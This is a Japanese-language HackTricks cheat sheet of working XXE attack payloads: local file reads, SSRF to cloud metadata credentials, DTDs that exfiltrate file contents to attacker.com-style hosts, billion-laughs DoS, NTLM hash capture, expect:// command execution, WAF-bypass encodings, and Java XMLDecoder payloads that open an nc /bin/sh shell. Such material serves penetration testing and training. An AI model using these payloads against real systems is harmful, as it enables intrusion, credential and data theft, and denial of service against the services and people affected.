XXE - XEE - XML External Entity

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

XMLの基本

XMLはデータの保存と輸送のために設計されたマークアップ言語で、記述的に名前付けされたタグを使用する柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。

• エンティティによるデータ表現: XMLのエンティティは、<や>のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために<と>に対応します。
• XML要素の定義: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。
• 文書型定義 (DTD): DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。
• カスタムおよび外部エンティティ: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ（XXE）攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
• パラメータエンティティによるXXE検出: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

主な攻撃

これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました: https://portswigger.net/web-security/xxe

新しいエンティティテスト

この攻撃では、シンプルな新しいエンティティ宣言が機能しているかどうかをテストします。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

ファイルを読む

/etc/passwdを異なる方法で読み取ってみましょう。Windowsの場合は、C:\windows\system32\drivers\etc\hostsを読み取ってみてください。

この最初のケースでは、SYSTEM “**file:///**etc/passwd” も機能することに注意してください。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます（Portswiggerのラボではない場合）。

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

この第三のケースでは、Element stockCheckをANYとして宣言していることに注意してください。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

ディレクトリリスト

Java ベースのアプリケーションでは、XXEを使用してペイロードのように（ファイルではなくディレクトリを要求することで）ディレクトリの内容をリストすることが可能な場合があります：

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXEは、クラウド内のSSRFを悪用するために使用される可能性があります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

以前にコメントした技術を使用すると、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができます。それが機能しない場合は、XMLエンティティが許可されていない可能性があります。その場合は、XMLパラメータエンティティを使用してみることができます：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

“Blind” SSRF - データをアウトオブバンドで抽出する

この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストで送信させます（複数行のファイルの場合、例えばこの基本サーバーを使用して_ftp://_経由で抽出を試みることができますxxe-ftp-server.rb）。この説明はPortswiggers lab hereに基づいています。

与えられた悪意のあるDTDでは、データを抽出するために一連の手順が実行されます：

悪意のあるDTDの例：

構造は次のようになります：

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

このDTDによって実行されるステップは次のとおりです：

1. パラメータエンティティの定義:

• XMLパラメータエンティティ%fileが作成され、/etc/hostnameファイルの内容を読み取ります。
• 別のXMLパラメータエンティティ%evalが定義されます。これは動的に新しいXMLパラメータエンティティ%exfiltrateを宣言します。%exfiltrateエンティティは、攻撃者のサーバーにHTTPリクエストを行い、URLのクエリ文字列内に%fileエンティティの内容を渡すように設定されています。

2. エンティティの実行:

• %evalエンティティが利用され、%exfiltrateエンティティの動的宣言が実行されます。
• 次に%exfiltrateエンティティが使用され、指定されたURLにファイルの内容を含むHTTPリクエストがトリガーされます。

攻撃者は、この悪意のあるDTDを自分の制御下にあるサーバーにホストし、通常はhttp://web-attacker.com/malicious.dtdのようなURLで提供します。

XXEペイロード: 脆弱なアプリケーションを悪用するために、攻撃者はXXEペイロードを送信します：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

このペイロードは、XMLパラメータエンティティ %xxe を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、/etc/hostname ファイルを攻撃者のサーバーに流出させます。

エラーベース（外部DTD）

この場合、サーバーがエラーメッセージ内にファイルの内容を表示する悪意のあるDTDを読み込むようにします（これはエラーメッセージが見える場合にのみ有効です）。 ここからの例。

悪意のある外部文書型定義（DTD）を使用して、/etc/passwd ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます：

1. file という名前のXMLパラメータエンティティが定義され、/etc/passwd ファイルの内容が含まれます。
2. eval という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ error の動的宣言を組み込みます。この error エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として file エンティティの内容を組み込みます。
3. eval エンティティが呼び出され、error エンティティの動的宣言が行われます。
4. error エンティティの呼び出しは、存在しないファイルを読み込もうとし、ファイル名の一部として /etc/passwd ファイルの内容を含むエラーメッセージを生成します。

悪意のある外部DTDは、以下のXMLで呼び出すことができます：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

実行時に、ウェブサーバーの応答には/etc/passwdファイルの内容を表示するエラーメッセージが含まれるべきです。

外部DTDは、2番目のeval内に1つのエンティティを含めることを許可しますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません（通常）。

エラーに基づく（システムDTD）

では、アウトオブバンドの相互作用がブロックされている場合の盲目的なXXE脆弱性はどうでしょうか（外部接続が利用できない）？

XML言語仕様の抜け穴は、文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。

サーバーのファイルシステムに/usr/local/app/schema.dtdにDTDファイルが含まれており、custom_entityというエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、/etc/passwdファイルの内容を明らかにするXML解析エラーを誘発できます。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

このDTDによって実行される手順は以下の通りです：

• local_dtdという名前のXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
• 外部DTDで元々定義されていたcustom_entity XMLパラメータエンティティの再定義が行われ、エラーに基づくXXEエクスプロイトをカプセル化します。この再定義は、解析エラーを引き起こし、/etc/passwdファイルの内容を露出させることを目的としています。
• local_dtdエンティティを使用することで、外部DTDが呼び出され、新たに定義されたcustom_entityが含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。

実世界の例: GNOMEデスクトップ環境を使用しているシステムでは、/usr/share/yelp/dtd/docbookx.dtdにISOamsoというエンティティを含むDTDが存在することがよくあります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

この技術は内部DTDを使用するため、まず有効なものを見つける必要があります。これを行うには、サーバーが使用しているのと同じOS / ソフトウェアをインストールし、いくつかのデフォルトDTDを検索するか、システム内のデフォルトDTDのリストを取得して、どれかが存在するかを確認します：

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

詳細については、https://portswigger.net/web-security/xxe/blindを確認してください。

システム内のDTDを見つける

次の素晴らしいGitHubリポジトリでは、システムに存在する可能性のあるDTDのパスを見つけることができます：

dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub

さらに、被害者システムのDockerイメージを持っている場合は、同じリポジトリのツールを使用して、イメージをスキャンし、システム内に存在するDTDのパスを見つけることができます。方法については、GitHubのReadmeをお読みください。

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

この攻撃の詳細な説明については、**この素晴らしい投稿 の第二セクションを確認してください。

Microsoft Office ドキュメントのアップロード機能は多くのウェブアプリケーションで提供されており、これらのドキュメントから特定の詳細を抽出します。たとえば、ウェブアプリケーションはユーザーが XLSX 形式のスプレッドシートをアップロードすることでデータをインポートすることを許可する場合があります。パーサーがスプレッドシートからデータを抽出するためには、必然的に少なくとも1つのXMLファイルを解析する必要があります。

この脆弱性をテストするには、XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。

ドキュメントが解凍されたら、./unzipped/word/document.xml にあるXMLファイルを開き、好みのテキストエディタ（例えばvim）で編集します。XMLは、HTTPリクエストで始まることが多い、望ましいXXEペイロードを含むように修正する必要があります。

修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用にモニタリング可能なURLに置き換えることが重要です。

最後に、ファイルを圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります：

作成したファイルを潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaborator のログにリクエストが表示されることを期待できます。

Jar: protocol

jar プロトコルは、Javaアプリケーション内でのみアクセス可能です。これは、PKZIP アーカイブ（例：.zip、.jar など）内のファイルアクセスを可能にするように設計されており、ローカルファイルとリモートファイルの両方に対応しています。

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Caution

PKZIPファイル内のファイルにアクセスできることは、システムDTDファイルを介してXXEを悪用するのに非常に便利です。 このセクションを確認して、システムDTDファイルを悪用する方法を学んでください。

PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセスするプロセスは、いくつかのステップを含みます：

1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例えば、https://download.website.com/archive.zipのような場所です。
2. アーカイブを含むHTTPレスポンスは、通常/tmp/...のような場所に一時的にシステムに保存されます。
3. アーカイブが抽出され、その内容にアクセスします。
4. アーカイブ内の特定のファイルfile.zipが読み取られます。
5. 操作後、このプロセス中に作成された一時ファイルは削除されます。

このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために、このリポジトリにあるツールを利用できます。これには、Pythonサーバー（slow_http_server.py）やJavaサーバー（slowserver.jar）が含まれます。

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Caution

一時ディレクトリにファイルを書き込むことは、パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ可能性があります（ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど）。

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

ビリオンラフ攻撃

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml攻撃

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

二次爆発攻撃

NTMLの取得

Windowsホストでは、responder.pyハンドラーを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することが可能です:

Responder.py -I eth0 -v

以下のリクエストを送信することによって

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

その後、hashcatを使用してハッシュをクラッキングすることができます。

隠れたXXEの出現

XInclude

クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、DOCTYPE要素の変更に対する制約のために従来のXXE攻撃が妨げられます。しかし、XInclude攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。

XInclude攻撃を実行するには、XInclude名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です：

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - ファイルアップロード

ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理される際に、XMLまたはXMLを含むファイル形式の取り扱いにおける脆弱性を悪用する可能性があります。一般的なファイル形式であるオフィス文書（DOCX）や画像（SVG）は、XMLに基づいています。

ユーザーが画像をアップロードすると、これらの画像はサーバー側で処理または検証されます。PNGやJPEGなどの形式を期待するアプリケーションであっても、サーバーの画像処理ライブラリはSVG画像もサポートしている可能性があります。SVGはXMLベースの形式であるため、攻撃者が悪意のあるSVG画像を提出することで、サーバーをXXE（XML外部エンティティ）脆弱性にさらすことができます。

以下にそのような攻撃の例を示します。悪意のあるSVG画像がシステムファイルを読み取ろうとしています：

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

別の方法は、PHPの“expect“ラッパーを通じてコマンドを実行しようとすることです:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用されるため、堅牢な入力検証とセキュリティ対策の必要性が強調されます。

詳細についてはhttps://portswigger.net/web-security/xxeを確認してください！

読み取ったファイルの最初の行または実行結果は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。

PDF - ファイルアップロード

次の投稿を読んでPDFファイルをアップロードしてXXEを悪用する方法を学んでください:

PDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencodedからXMLへ

POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合：

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

次のリクエストを送信できるかもしれませんが、同じ結果になります:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: From JSON to XEE

リクエストを変更するには、「Content Type Converter」というBurp拡張機能を使用できます。Here でこの例を見つけることができます:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

別の例はこちらで見つけることができます。

WAF & 保護のバイパス

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

この操作は、XMLサーバーが data:// プロトコルを受け入れる場合にのみ機能します。

UTF-7

ここで [“Encode Recipe” of cyberchef]を使用できます。

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ プロトコルバイパス

ウェブがPHPを使用している場合、file:/の代わりにphp wrappersphp://filter/convert.base64-encode/resource=を使用して内部ファイルにアクセスできます。

ウェブがJavaを使用している場合は、jar: プロトコルを確認してください。

HTML エンティティ

https://github.com/Ambrotd/XXE-Notesからのトリック
エンティティ内のエンティティを作成し、html エンティティでエンコードしてから、dtdをロードするために呼び出すことができます。
使用するHTML エンティティは数値である必要があります（例として[この例](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,‘Numeric entities’%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTDの例:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

抽出 index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

外部リソースの抽出

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

リモートコード実行

PHPの“expect“モジュールがロードされている場合

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

この例はhttps://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxeにインスパイアされています。

XLIFF (XML Localization Interchange File Format) は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (Computer-Aided Translation) ツールの共通交換フォーマットとしても使用されます。

Blind Request Analysis

サーバーに次の内容のリクエストが送信されます:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

しかし、このリクエストは内部サーバーエラーを引き起こし、特にマークアップ宣言に関する問題を示しています:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

エラーにもかかわらず、Burp Collaboratorにヒットが記録され、外部エンティティとの何らかのインタラクションが示されています。

Out of Band Data Exfiltration データを抽出するために、修正されたリクエストが送信されます：

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

このアプローチは、User AgentがJava 1.8の使用を示していることを明らかにします。このバージョンのJavaの制限の一つは、Out of Band技術を使用して、/etc/passwdのような改行文字を含むファイルを取得できないことです。

Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

サーバーはエラーで応答し、重要なことに存在しないファイルを反映し、サーバーが指定されたファイルにアクセスしようとしていることを示しています：

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

エラーメッセージにファイルの内容を含めるために、DTDファイルが調整されます:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

この修正により、HTTP経由で送信されるエラー出力に反映されるように、ファイルの内容が正常に抽出されます。これは、Out of BandおよびError-Based技術の両方を利用して機密情報を抽出する成功したXXE（XML External Entity）攻撃を示しています。

RSS - XEE

XXE脆弱性を悪用するためのRSS形式の有効なXML。

Ping back

攻撃者のサーバーへのシンプルなHTTPリクエスト

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ファイルを読む

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ソースコードを読む

PHPのbase64フィルターを使用する

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータをreadObjectメソッドへの呼び出しで使用させることができれば、彼は瞬時にサーバー上でコード実行を得ることになります。

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

XXE + WrapWrap + Lightyear + bypasses

この素晴らしいレポートを見てください https://swarm.ptsecurity.com/impossible-xxe-in-php/

Tools

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities

Python lxml パラメータエンティティ XXE (エラーに基づくファイル開示)

